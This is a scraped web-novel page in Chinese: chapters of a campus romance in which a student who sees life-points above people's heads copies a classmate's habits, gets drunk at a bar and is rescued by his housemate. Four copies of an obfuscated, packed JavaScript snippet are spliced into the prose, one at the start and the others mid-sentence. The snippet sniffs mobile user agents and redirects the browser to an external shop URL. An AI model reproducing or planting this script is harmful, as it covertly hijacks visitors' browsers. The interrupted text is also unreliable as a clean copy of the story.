35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437359|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你好。” 林杳打招呼不算热情,他其实不太擅长与人相处,也不喜欢浪费时间在社交上,对沈安格,林杳不熟,也没想变熟。 奈何沈安格是个自来熟,坐在林杳身边,就开始小声寒暄。 林杳皱眉,有点厌烦了,这里是自习室,不是聊天室。 他转头,想提醒沈安格,接着便瞥见了沈安格头上的数字。 333。 变多了,上次是329,林杳对数字很敏感,不会记错。 林杳是第一次见到这个数字还会增加。他怎么做到的? 活生生的例子摆在眼前,林杳的呼吸都变得紧促。沈安格的生命值能增加,就说明自己也能。 自己有救了。 “怎么了,林杳?”沈安格张开手掌在他眼前晃了晃,“经常见你走神,你们学霸脑子里是不是随时都在想事情,所以才这么聪明的?” “啊,没有,你刚才说什么?”林杳回神。 “我说要不要一起去吃个饭?”沈安格微笑。 “好啊。” 沈安格愣住,片刻后,惊喜道:“真的?” 林杳歪头不解:“怎么?” “没有。”沈安格笑意加深,“我只是很意外你居然愿意跟我出去。” 当然要去,林杳已经决定了,他要跟在沈安格身边,看看对方平时都吃些什么,怎么增加的生命值,抄抄作业。 两人来到一家连锁火锅店。 坐下后,沈安格没有问林杳想吃什么,而是自己先点了一些菜,再把菜单递给了林杳过目。 “你看需不需要增减。” 林杳扫见了锅底那里写着牛油麻辣,心中疑惑,难道吃辣其实有益于身体健康? “不用,你吃什么我就吃什么。” 反正林杳就是专门为了来看沈安格的饮食习惯的,自然不会加以干涉。 但这句话落在沈安格耳中不知道变形成了什么奇怪的意思,他望向林杳的目光愈发灼热。 吃过饭后,沈安格提出要送林杳回寝室。林杳没有拒绝,他想在路上多打听一点沈安格的生活习惯。 两人漫步在暖黄路灯浸润下的校园小道间。 林杳问:“你平时都做些什么?” 沈安格道:“上课、自习、社团活动,偶尔出去和朋友聚聚,大家不都是这样吗?” “详细一点。”林杳说,“比如,你几点起床,几点吃饭,几点睡觉。” 沈安格语气轻快,反问:“为什么想知道这些?” 林杳默然片刻,思考如何回答,他总不能说想要抄抄你的作息,涨点生命值吧? 想了片刻,林杳还是觉得笼统地含糊过去比较好,便说:“了解一下。” 沈安格呼吸一窒,语调低沉:“你很想了解我吗?” “嗯。” 沈安格心中愈发雀跃,面上强压住笑意,镇定道:“那不如接下来和我一起上课、一起吃饭?” 林杳觉得这也是个办法,点头:“如果你不觉得麻烦的话。” “当然不会。”沈安格温柔地说。 刚好他们到达了家属区楼下,沈安格试探地问:“那……明天见?” 林杳朝他挥手:“明天见。” 后方不远处,盛云阔原原本本地看见了林杳和沈安格之间的互动。 张桦本来正在和盛云阔闲聊的,此时忽然感觉到周围气氛不对劲,悄悄闭上了嘴。 盛云阔的眼睛被长长的刘海影子盖住,于昏晦中喜怒不明。 他淡淡道:“你瞧,我就说林杳不会想和我做朋友吧,他要是想交朋友,有大把的人从这里排到五环开外,哪儿轮得到我。” 张桦沉默,这话怎么听起来……不太像是形容友情的呢? 8. 醉酒 早晨7:00。 “递一张纸给我。” 盛云阔不小心把豆浆洒在了桌面上,连忙站起来躲开,同时朝林杳伸手。 林杳抽出纸塞进他手里,看着他胡乱擦掉桌上的豆浆渍。 大早上的,也不知盛云阔在想什么,吃个饭都能走神,还把豆浆杯子碰倒了。 吃过饭,盛云阔自觉地收拾碗筷。这几天只要在家里吃饭,都是林杳主厨,他不放心盛云阔做饭,更不愿意吃重油重盐的外卖,只能自己劳累点。 盛云阔刚进厨房,林杳便收到了一条消息。 【沈安格:我在你家楼下了。】 林杳意外,他确实和沈安格约好了今天要一起行动,却没想到对方会专程过来一趟。 林杳不想让他久等,便匆匆收拾好书包,坐在玄关换鞋:“我走了。” 盛云阔没有应声,似乎对林杳的去向无甚兴趣。 林杳也压根没放在心上,穿好鞋就往楼下跑去。 来到一楼,沈安格果真就站在门口等着,见到林杳出来,他扬起自己的招牌微笑,挥挥手打招呼:“早上好。” 林杳走到他身边:“早。” 寒暄过,两人并肩往教学楼走去。 而在四楼之上,盛云阔恰巧透过厨房的窗户看见了楼下的情景,他放好了最后一个盘子,面无表情地转身离开。 上午9:00。 林杳与沈安格同桌坐着,如往常的每一节课那样,用纸和笔认真地记录着老师的讲解。 沈安格的学习态度比他散漫多了,单手撑着下巴,另一只手闲散地转着Apple pencil,只偶尔才在平板上记几个字。 上午11:00。 林杳被沈安格带着来到了团委办公室。 沈安格对林杳满含歉意道:“我有点事情要处理,你可以在那里坐着等我一会儿吗?” 林杳无所谓,反正他现在主要任务就是跟着沈安格,看他到底是怎么提升生命值的。 于是他点点头,走到空桌后坐下,拿出电脑,开始完成刚才课堂上留下来的作业。 过了会儿,宣传部的何学长过来交资料,打眼瞧见旁边坐着的林杳,当即上前搭话。 “林杳,你怎么在这儿?”何学长问,“我以为你把所有学生组织都退掉了呢。” 林杳抬头:“学长你好。我今天只是陪同学过来办事的。” “原来如此。”何学长拉开林杳身边的椅子坐下,“最近如何?还没问过你为什么忽然退部,愿意和我说说吗?” 林杳的眼睛格外澄澈,让他即便是说谎也看上去极为真挚:“没什么不能说的。学生组织太繁忙,我分身乏术,最后还是决定以学习为主。” 闻言,何学长笑着叹了口气:“这样啊——真是可惜,我本来还想劝你回来的,既然你已经决定好了,我就不多嘴了。” 聊了两句,何学长和林杳告别,刚好沈安格也处理完事情,过来找林杳去吃饭。 中午12:03。 林杳扫了一眼沈安格餐盘里的食物,飞快地记了下来。 白灼大虾、清炒西兰花、黑椒牛肉,外加一碗大白米饭。 高蛋白低脂肪,果然健康。林杳在心中默默感叹,越发感觉自己选择沈安格来抄作业的决定很英明。 下午13:00。 两人来到了校内咖啡馆,沈安格点了一杯冰美式,林杳犹豫片刻,要了一样的。 喝了口冰美式,林杳的表情都差点扭曲。 他悄咪咪把杯子往外推了一点,心想,算了,不喝冰美式应该影响不大。 两人在咖啡馆度过了两个小时,林杳完成了本周的课堂作业。 沈安格也做完了自己的计划,关上电脑,问林杳:“事情都做完了,下午咱们要不要出去逛逛,看个电影之类的?” 林杳摇头:“不用。你不要为了我改变日程,你平时做什么今天就做什么。” 沈安格不解其意,又劝了一回,林杳依旧坚持让他按平常的来。沈安格无法,只好说:“那你可别嫌弃我无聊。” “不会的。” 晚上18:05。 沈安格在便利店买了一个鸡蛋三明治,就这样简单快速地解决了晚餐。 他对林杳解释:“我晚上习惯跑会儿步,所以不喜欢吃太饱,你如果觉得饿,我陪你再去吃点儿。” 林杳啃一口三明治,说:“我够吃。” 晚上18:45。 暮色渐浓,林杳和沈安格站在操场边做热身运动。 跟了沈安格将近一整天,林杳觉得此人能提升生命值不是没道理的。沈安格的生活相当规律,饮食也不贪刺激。不像自己,三天两头因为课业和部门任务熬夜,接着倒头睡到中午,没胃口的时候可以一整天不吃饭。 正式起跑后,沈安格虚荣心作祟,故意拿出最快的配速来跑。 然而半圈过后,林杳已超过他二十米。 林杳察觉到身边的人没跟上来,后知后觉今天自己不是和盛云阔在跑步。他停下来等沈安格。 见林杳主动停下来等待自己,沈安格心中欣喜。 看来自己的感觉没有错,林杳喜欢自己,他跟了自己一整天,就是想要和自己多相处一会儿。 沈安格正想说他们可以跑慢一点,就听林杳有点嫌弃道: “你速度太慢了,我跑不出汗,咱们分开跑吧,我在终点等你。” “林……” 没等沈安格喊出声,林杳已经如一头小鹿似的跑远。 晚上19:30。 林杳拉伸着大腿,远远看见沈安格跑了过来。 总算跑完了。 沈安格累得不行,嗓子里仿佛吞下了一千根针。今晚肯定突破了他的最快配速。 林杳满怀期待地走近,问:“接下来做什么?” 应该结束了吧?他想回去休息了。 “去……”沈安格气喘吁吁,“去洗个澡。” 林杳眼睛亮晶晶的。太好了,结束了! 可沈安格呼吸几下,继续说道:“我还要出校一趟,你、你愿意去吗?” 林杳眼中的光消失殆尽:“去做什么?” 晚上21:30。 酒吧的灯光怪陆离,音乐震耳欲聋。 林杳紧紧跟在沈安格身后,尽力躲开身边摩肩接踵的人群。这里人真的太多了,而且充斥着烟酒颓靡的气息,林杳恨不得把自己缩成一张纸片。 难道这也是健康生活的一环吗? 很快,两人来到一处卡座前,那里已经坐满了林杳不认识的男人。 “抱歉我来晚了,这位是我的同学,林杳。” “光道歉有什么用?来晚了可是要罚酒三杯的,快给他满上!” 说着就有人倒了满满一杯酒往沈安格怀里塞。他们像是已经喝嗨了,莫名其妙就开始起哄。 “喝!喝!喝!” 明明不是冲自己来的,林杳还是往后退了一步。他着实不喜欢这种嘈杂的氛围。 沈安格倒是如鱼得水,接过酒杯,半点不带矫情地仰头干掉,引起了所有人的欢呼。 “哦哦哦——!再来一杯!” 结结实实罚过三杯酒,沈安格和林杳才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437360|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被允许入座。 座位不够宽敞,两人不得不肩膀擦着肩膀。沈安格为林杳端来一杯酒,同时凑近他的耳畔,说:“尝尝?” 林杳推拒:“不了,喝酒对身体不好。” “哪有。” 不知是环境还是酒精作祟,此时的沈安格与白天在校园时的模样判若两人,他衣领敞开,眼神迷离,笑容也变得邪魅。 “我经常喝,没见身体出什么毛病。”沈安格举起杯子,“酒精或许对身体有害,可喝了酒,心里畅快,又对身体好,你说这该怎么算?” 酒精是致癌物,这是已经被证明过的事实。 林杳当然不会听信沈安格的胡说八道,但他也不再拒绝得那么坚定。 在得知自己时日无多之后,除了尽量保持健康多活几天之外,林杳其实还制定了另外一个有点小疯狂的计划。 他才活了十八年,人生刚起步,有太多的事情没做过,其中包括酩酊大醉一回。 下定了决心,林杳接过沈安格手中的酒杯,灌了一大口。 深夜23:00。 蓝与紫交错的灯光仿佛令人置身深海,林杳脸上布满酡红,安安静静地陷在沙发里坐着。 沈安格在和其他人玩骰子,他们如同上千只鸭子般吵闹不休。 这时,林杳感觉到裤子里什么玩意儿在振动。 艰难地掏出来,原来是手机响了。 林杳看也没看是谁打来的,咔嚓接通:“谁,干嘛?” 对面沉默了一会儿,林杳以为是骚扰电话,本想挂断,才听那人沉着声音问:“你在哪?” 林杳认出了声音的主人,是盛云阔。 他没来由有些心虚,扯了个拙劣的谎言:“我在外面吃饭……马上回去。” 盛云阔一秒钟都没有相信他的屁话,直接戳破:“你在酒吧,哪一家?” 没办法,林杳只能老实回答:“Focus。” “别挂电话,我来找你。” 盛云阔交代了一句,接着林杳听见那头响起极为细微的丁零当啷声,是盛云阔在拿钥匙。 林杳听话的没有挂断通话。可他不想用此时这般狼狈的样子见到盛云阔,于是他起身,问身边人厕所往哪里走,他要去洗把脸清醒清醒。 相比起迷醉的舞池,厕所可谓一片清净宝地。 林杳洗了脸,不想太快回卡座,就靠在洗手台的墙边休息。 歇了会儿,林杳浑身沉甸甸的,有些支撑不住,顾不上形象地靠在角落蹲了下来。 忽然好想变成一朵蘑菇…… 不能是香菇,也不能是杏鲍菇,见手青不错…… “林杳?” 有人在呼唤,林杳抬头,看见了沈安格。 沈安格上前询问:“你喝醉了,是我不对,没想到你酒量不好。我已经和他们打过招呼了,咱们可以先走,去找个地方休息。” “去哪?”林杳晕乎乎。 “学校太远了,附近很多小旅馆,我们去将就一晚。”沈安格循循善诱。 沈安格一边说,一边蹲身下来,想要去扶起林杳。 林杳对沈安格的提议有些心动,他太累了,想立刻找一张床睡死过去。 沈安格抓住了林杳的上臂,使劲想要将他搀扶起来。 忽然,一道隐含着怒意的呵斥声传来:“喂,站住。” 声音好熟悉,林杳勉强抬起沉重的脑袋看去。 盛云阔套着一身黑色的皮夹克,额发零碎散乱,浑身还裹着风的气息。他眼神狠厉,好像一头呲牙嘶吼的狼崽子: “把你的猪蹄从他身上拿开。” 9. 修罗场 月色如纱,透过玻璃洒在林杳房间里的书桌上。 盛云阔把死沉死沉的林杳放在床上,转身离开了房间。 林杳趴在枕头之间,闭目睡了一小会儿,再醒来后已不知过了多久。他挣扎着撑起身子,在房间内扫视一圈,没有瞧见盛云阔的身影。 “盛云阔……?” 林杳眼睛因醉酒显得水汪汪的,此时神情有些茫然无措。 林杳翻身坐在床中央,几根头发支棱起来,摇摇晃晃。他静静地发了一会儿呆,回神后,开始到处翻找自己的手机。 此时,盛云阔正在便利店结账,他手里拿着几瓶鲜奶。 手机忽然不合时宜地响了起来,盛云阔先抓紧时间打开付款码,给了钱,才接通电话。 “喂……” “你去哪里了?” 盛云阔还没来得及说完一个完整的字,那头的林杳的质问就劈头扔了过来。 “干嘛?”盛云阔不答反问。 对面默然片刻,林杳的声音低低响起:“你快回来。” 啧。 盛云阔也不懂自己为什么要啧。 五分钟后,盛云阔提着牛奶回到家,他先去厨房,把牛奶倒进杯子里,放微波炉定时一分半。 期间盛云阔就站在那儿抱臂等着,完全不急着去查看林杳的情况。 等牛奶热好,他才端着往林杳房间走去。 房间里没开灯,林杳靠坐在床上,抱着自己的膝盖,埋怨:“你跑哪里去了?” 盛云阔把牛奶塞到林杳手上,根本不管他无理取闹般的质问,直接反客为主,问:“我倒要问你,知不知道今晚如果我没出现会发生什么事?” 林杳喝了口牛奶,胃里舒服了很多,不说话。 盛云阔心头火气,狠狠道:“如果不是我,你这个醉鬼就会被乱七八糟的人吃干抹净,现在变态可多了,你以为你是男的就安全吗?” 林杳抱着牛奶杯,问了句:“你很生气吗?” 此话一出,仿佛一个塞子怼入了正在沸腾的窄口瓶,盛云阔一口气没上来,已然濒临爆炸边缘。 盛云阔冷笑,心想:我没生气,我生什么气,你就算被人噶了腰子我也不生气。 结果下一秒,林杳低下眼,说:“对不起,我错了,你别生气。” 盛云阔:…… 某个沸腾的瓶子瞬间冷却下来。 喝完牛奶,盛云阔接过杯子,打算去厨房洗了。可没等他迈步,林杳察觉他要离开,率先抓住了他的衣角。 “别走,和我一起睡。”林杳说。 盛云阔鸡皮疙瘩如雨后春笋般嗖地冒出来,他抖了抖,咬牙:“靠,林杳你撒什么娇,恶心死了,松手!” 林杳歪头不解:“我没有撒娇。只是一个人在房间里太安静了,还有点黑。” 盛云阔扶额叹气:“好吧,等我洗个杯子就来。” 两分钟后,盛云阔回到房间,脱了上衣,赤膊躺上床,扯过被子盖在肚皮上。 林杳小声:“你不穿衣服,好变态哦。” 盛云阔怒吼:“我习惯这么睡!你要是不想看见我,我就走!” “别别别。”林杳抓住他的手,“我看你。” 盛云阔勉强消了气,重新躺下,闭上眼酝酿睡意。 可林杳不放过他,凑过来,神秘兮兮道:“我跟你说个秘密,你要听吗?” 盛云阔睁眼,不耐烦道:“快睡吧,明天再说不行吗?” 林杳如同没听见他的话,自顾自说了下去:“其实……我是一朵蘑菇。” ………… …… 盛云阔看着林杳,林杳也看着盛云阔。 忽然,盛云阔麻利翻身,一把拔掉正在充电的手机,快速打开相机,开启录像功能。 “你刚刚说什么,我没听清,你再说一遍。”盛云阔躲在手机后面,笑得猖獗。 醉鬼林杳老老实实重复:“我说我其实是一朵蘑菇。” 盛云阔:“你是什么品种的蘑菇?” 林杳:“见手青。” 盛云阔以拳抵唇,憋笑:“为什么是见手青?” 林杳:“因为见手青有毒,还是蓝色的,很酷。” 盛云阔:“蘑菇可不会说话,你怎么会说的?” 林杳竖起一根手指,压低声音:“因为我是蘑菇精,你别告诉别人。” 盛云阔:“那我问你,蘑菇精,你从哪座山上来的?” 林杳认真回答:“我的老家在云南……” “噗!” 盛云阔实在憋不住了,他倒在床上,笑得上气不接下气,“哈哈哈哈哈哈哈哈哈哈哈!林杳,你、你真的,你把我笑死了对你有什么好处?” 林杳:? “你别笑啊。”林杳戳他,“我的老家真的在云南。” 盛云阔笑了足足一百二十秒,腮帮子和肚子都疼得不行,他拍拍林杳的脑袋,说:“乖,小蘑菇,睡你的大觉去吧哈哈哈。” --- “叮叮叮叮——!” 催魂夺命的苹果手机自带闹钟响起,林杳浑身震了一下,才缓缓从睡梦中醒过来。 关掉闹钟,林杳按了按被吓得扑通跳的心脏,又揉揉因宿醉而疼痛不已的脑袋。 喝酒真是不好,再不喝了。 林杳想。 还有这个闹钟也该换了,再用下去,自己就会成为世界上第一个被闹钟杀死的人。 换铃声时,林杳看见了此刻的时间:10:30。 糟糕!已经上课半小时了! 林杳赶紧从床上爬起来,换好衣服,又去洗手间洗漱。 洗脸的时候,林杳瞥了眼自己脑袋上的数字。 还是零。 明明昨天跟着沈安格度过了整整一日,为何毫无收获? 压下心中的失望,林杳快速收拾好书包,往教学楼跑去。 --- “盛同学,帮我把球收回篮子里。” 教学内容结束,体育老师拜托盛云阔帮忙。 因为运动细胞发达,盛云阔常被体育老师叫去示范动作,一来二去就混了个脸熟,老师总爱差遣他。 盛云阔习惯了,帮着送球回到器材保管室,拍了拍手掌上的灰尘,往外走去。 可就在器材室门口,一个不速之客把盛云阔拦了下来。 沈安格伸长手臂,拦住去路,语气不善地问:“你和林杳什么关系?” 盛云阔嗤笑一声:“你还敢来问我?你别以为我不知道你心里藏着什么龌龊念头。” 这话令沈安格感到羞辱,他怒目瞪向盛云阔,却悲哀地发现对面这家伙比自己高了半个头,光从体格上,自己就落了好大的下风。 沈安格愈发气恼,恨恨道:“我和林杳是两情相悦,你没有权利干涉林杳和谁在一起。” 盛云阔挑眉,轻飘飘反问:“是吗,你问过林杳吗,他说过喜欢你?” 沈安格像是被扇了一巴掌,气得牙都要咬碎了。 半晌,沈安格冷哼,以牙还牙道:“我知道了,你也喜欢林杳,但他不喜欢你,所以你才朝我撒气。” “哈。”盛云阔像是听到了天大的笑话,“我又不是同性恋,你以为谁都跟你一样喜欢男人?” 沈安格握拳:“既然如此,那我怎么追林杳都和你无关,你最好识相一点。” 盛云阔居高临下睨着沈安格,缓缓说:“怎么会无关?我是林杳他哥,我瞧你不像好人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437361|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难道不能管管自家弟弟吗?” “你!” 盛云阔错开沈安格,背向他挥挥手,潇洒走掉。 --- 林杳站在教室门口往里面小心探头,然后又快速缩了回来。 上课已经半小时,老师早就开讲,底下学生也来齐了,自己现在进去,只会得到老师和同学们上百只眼睛的注目礼。 光是想想,林杳就要疯了。 他读书生涯十七载,从幼儿园开始就没有迟到早退过,酒精误人啊。 偏偏在这时,手机还响了起来,林杳吓得赶紧远离教室门口,跑到走廊拐角去看到底是谁在发信息。 【沈安格:今晚没课吧?要不要一起出去吃饭?】 【林杳:我有作业。】 【沈安格:别拒绝我,我有很重要的事想对你说。】 林杳盯着屏幕思考片刻,决定翘课,现在去找沈安格,让他有话就说,如此这般,自己晚上就能腾出时间处理课业了。 反正已经迟到了半小时,他真的不敢走进教室…… 不过翘课也算是人生初体验,自己的遗愿清单又可以划掉一项了。 【林杳:你现在在哪?】 五分钟后,林杳在二号教学楼的大厅里找到了沈安格。 沈安格没想到林杳连短短几个小时都等不了,立即就要见自己。他很开心,因为只要林杳有心和自己在一起,管那盛云阔是哥还是妈,都无法阻止他们有情人终成眷属。 沈安格把提前买好的冰镇饮料递给林杳:“给你的,今天有点热,你渴了吧。” 林杳没去接水,他的全部注意力都被沈安格脑袋上的数字吸引了去。 335。 又增加了。 林杳想不通,他昨天和沈安格在一起整整一天,对方的数字都没有增加,只是一晚上不见,怎么就又加了两点? 可为什么自己还是零? “林杳?”沈安格出声唤回他的思绪。 “哦,什么?”林杳有些懵。 沈安格把水放进他手中,笑容洋溢:“我发现你经常发呆,还挺可爱的。” 可爱…… 林杳猛地缩回手,感觉自己鸡皮疙瘩掉了满地,而且有点想吐。 “你说有重要的事,是什么?”林杳转移话题。 沈安格愣了片刻,没料想林杳会直接问,他在思考该不该现在就告白。 沈安格原本的计划是今晚带林杳去浪漫的西餐厅,告诉林杳他到底有多令人心醉,接着在烛光之下告白。 可惜计划赶不上变化,沈安格认为,林杳既然这么迫不及待地催自己告白,那就无所谓形式,今晚的烛光晚餐可以当做确定关系之后的约会。 而且还有个虎视眈眈的盛云阔在盯着林杳,沈安格越发觉得早点告白才是上策。 “我想了很久。”沈安格深情地望向林杳的眼睛,“还是决定告诉你,我……” “嘿嘿嘿!” 盛云阔不知从哪儿冒出来的,从后方一把揽住了沈安格的肩膀,颇为哥俩好地招呼道:“你们俩在这儿干什么呢,没记错的话,现在是上课时间吧?” 沈安格想要挣扎,盛云阔却把手放在了他的后脖颈上,手掌张开,恰好整个拢住了那要命的位置。沈安格顿时像只被拿捏住的猫,僵硬了。 “你俩翘课打算去哪儿玩,带我一个?” 盛云阔意味深长地看着沈安格。 沈安格呼吸停滞,好半晌都不敢说话。 林杳有些意外:“原来你俩很熟吗?” 盛云阔按住沈安格,强行和自己脑袋碰在一起,特亲密似的:“那是,我们可是好哥们儿啊,对吧,小沈?” 沈安格:…… 10. 养生约定 盛云阔指了指面前两人,问:“你俩是要出去玩吗?带我一个呗,人多热闹。” 沈安格全力挣脱了盛云阔的绑架,退开两步。他只想和林杳两个人单独出去浪漫约会,不想带着盛云阔这个拖油瓶三人行。 “不出去玩,我还有事,先走了,林杳,下次见。”沈安格朝林杳挥手。 林杳回以挥手,目送他走远。 接着林杳看回盛云阔,想了想,说:“我也去图书馆了,拜。” 林杳越过盛云阔要走,忽然被抓住手臂拦下。 “跑什么?”盛云阔沉着脸,“我有话要对你说。” 林杳心想,今天什么日子,怎么谁都和自己有话说? 两人一起走出二号教学楼,并肩走在校园林荫路上,盛云阔还拐去便利店买了瓶冰水往嘴里灌。 林杳不太赞成地盯着那瓶水珠琳琅的冰水,仿佛看见盛云阔本就所剩无几的生命值在自己眼前哗啦啦往下掉。 喝完水,盛云阔也大致打好了和林杳谈话的腹稿,便开口道:“你什么时候和沈安格关系这么好了?他私底下是什么样的人你知道吗?” 偏见的味道好冲。 林杳奇怪:“你和他不是朋友吗?” “才不是。”盛云阔否认,“我和你说认真的,你知不知道沈安格喜欢男人?” 林杳一滞。 他确实不知道。原来沈安格取向为男吗,怪不得那天一起喝酒的全是男人。 “那咋了?”林杳眨眨眼,“你歧视同性恋?” “我……” 盛云阔噎住,他想说的不是歧视不歧视的问题。 可林杳像是终于抓住了盛云阔的小辫子,表情严肃地谴责:“没想到你私底下是这样的人。我认为同性恋群体没有做任何伤天害理的事,他们喜欢谁是他们的自由,你不该带着偏见看待他们。” “不是……” “你的心胸太狭隘了,还在背后说人是非,我鄙视你。” 说完,林杳转身就走,只留给盛云阔一个正义凛然的背影。 “等等!”盛云阔叫他,“我不是歧视,我,靠!” 林杳根本不听,甚至脚下步伐越来越快,转眼就消失在道路尽头。 盛云阔留在原地愤恨咬牙。林杳抽哪门子风?为啥忽然如此义愤填膺?以前也没见他参与过相关议题的讨论啊。 然而此时的林杳正在捂嘴偷笑。 轮椅照片的事情他忍很久了,今日可算找到机会能劈头盖脸训盛云阔一顿,虽说两件事毫不相关,但能让盛云阔吃瘪他就爽。 --- 林杳和盛云阔同系不同班,有好几节公共课都在一起上。 这日思修课结束后,林杳和盛云阔两人和往常一样,收拾了书包,互相不干涉,一前一后走出教室,像是根本不熟似的,明明住在一起,却不同路回家。 反倒张桦还跟着盛云阔并肩走了一段路,因为他要回宿舍,两人才在路口分开。 剩下的路,盛云阔单肩搭着包,缀在林杳后方十来米处走着。 说实话,看起来有点像跟踪狂。 当然盛云阔并不如此认为。他俩住一块儿啊,顺路很正常好不好。 直到林杳在一个本该左拐的路口,选择了直行。 盛云阔站在路口迟疑片刻,而后鬼使神差的,也选择了直行。 几分钟后,林杳已经来到学校门口,正要刷脸过闸机。 盛云阔大跨步上前,猛地按住了林杳的肩膀。 林杳吓得浑身一个激灵,转身看见盛云阔那阴魂不散的张脸,不禁大喊出声:“盛云阔你神经吗!?” 林杳捂住自己受惊不浅的小心脏。他的生命值本来就岌岌可危,被盛云阔一吓,好了,估计又掉零点几。 “你不回家,要去哪里?”盛云阔质问。 林杳拂去他搭在自己肩膀上的手:“沈安格约我吃饭。” 盛云阔生气:“你怎么还和他出去?上次不是跟你说了吗,他……” 林杳用一种“继续说,我在听”的眼神牢牢盯着盛云阔。 盛云阔收声,记起上回自己被林杳狠狠进行了一波道德批判,意识到绝不可再犯同样的错误。 急中生智,盛云阔忽然捂住脑袋,倒吸了几口凉气,哀嚎起来:“啊,我的头忽然好疼。不行了……林杳我太疼了,走不了路了。” 林杳不上当,抱臂站着:“你演技好差。” 盛云阔抱头蹲在了地上,书包也垮了下来,他表情痛苦,一把抓住了林杳的衣角:“帮我个忙,扶我、扶我回去好不好,我不知道怎么了,脑袋像是要炸了似的疼……” 林杳依旧有些怀疑。可看着盛云阔不顾形象的样子,神情似乎真的很疼。而且盛云阔脑袋上的红色数字零一直在林杳的眼前跳动,时时刻刻提醒着他,盛云阔的生命值即将告罄。 盛云阔要死了? 林杳心脏一抽,不敢耽搁,上前扶起盛云阔:“我们得去医院。” 盛云阔整个人的重量都倾倒在林杳的肩膀上,推拒道:“啊不不不,我回去躺着休息一会儿就好。” 林杳坚持:“不,必须去医院。” 可不能去医院啊。 盛云阔一不做二不休,脑袋一下子搭在林杳的肩窝处,可怜兮兮道:“不去医院好不好?我现在只想赶快躺下来休息,恐怕坚持不到医院了……” 林杳的确慌了神,莫名就被盛云阔带了节奏。 他使劲搀扶起盛云阔一米八八一百六十斤的块头,往出租屋的方向走去:“你坚持住。” 十五分钟后,林杳满头大汗打湿了额发,好不容易把盛云阔安放在了床上。 盛云阔虚弱地望着林杳,不忘“善解人意”地说:“你还和沈安格有约,别管我了,我睡一会儿就会好,你快去……别迟到……” “你都这样了,我还去赴什么约!”林杳语气有些不耐烦,“躺着,我去给你找止疼片。” 盛云阔抓住他的手,继续虚弱:“那……是不是该给沈安格发条消息告知一下,不能让他空等吧?” 想想也对。林杳当即拿出手机。 与此同时,某间预约制法餐厅内。 今晚沈安格穿了一身休闲而不失礼仪的衬衫,还专门做了个帅气的发型。他撑在吧台前,告知经理待会儿自己要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437362|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告白,所以需要一点小氛围。 经理熟门熟路地保证道:“您放心,我们一定办得与以往一样,绝对不会出错。” 沈安格纠正他:“不,这回的人和以前那些不同,我是认真的。” 经理恍然大悟,比了个“OK”的手势:“明白。” 这时,沈安格的手机响起提示音,他拿出来一瞧,脸色骤变。 林杳:【出了点事,不能去吃饭了,抱歉,改天吧。】 沈安格秒回:【怎么了?】 林杳:【盛云阔头疼,我要照顾他。】 沈安格:【?】 林杳没回了。 沈安格攥紧手机,咬牙低声怒骂:“该死的盛云阔,矫情的搅事精!” 头疼吃颗布洛芬挺尸去啊,多金贵啊还需要林杳伺候! 出租屋内。 林杳找到止疼片,倒了杯热水拿到床边,递给盛云阔让他服下。 成功阻挠了林杳去见沈安格,盛云阔现在浑身舒坦,止疼片咕嘟一下就吞了,仿佛他吃的不是药,而是糖丸。 林杳眉间愁意未褪:“药起效之后我们还是去一趟医院才行。” “不用。”盛云阔老实躺着,“我应该只是睡眠不足,睡一觉会好的。” 闻言,林杳沉默着在床边坐下,垂眼。 好半晌,林杳才重新开口,语气里夹杂着浅淡的伤感:“你不要仗着年轻就胡乱糟蹋自己的身体,现在很多人年纪轻轻已经积攒了一身的问题,不知道什么时候就会病倒。” 林杳吸了口气,继续:“在我住院期间,有个比我还小几岁的男生去世了。” “他白天都还好好的,下午忽然病情恶化。”林杳蹙眉,“晚上我回去时,他已经走了。” 盛云阔哽住,他第一次听说此事,有点意外。 盛云阔没想到林杳居然这样担心自己的身体,甚至到了有些杞人忧天的地步。看来这回撞到头的事情着实把林杳吓得不轻。 当时盛云阔没在现场,只在后来听林杳之前的室友说,他们听到动静进浴室一瞧,林杳的脑袋上全是血,丝丝缕缕混杂在浴室的水迹之中,漫了一地,堪比凶案现场。 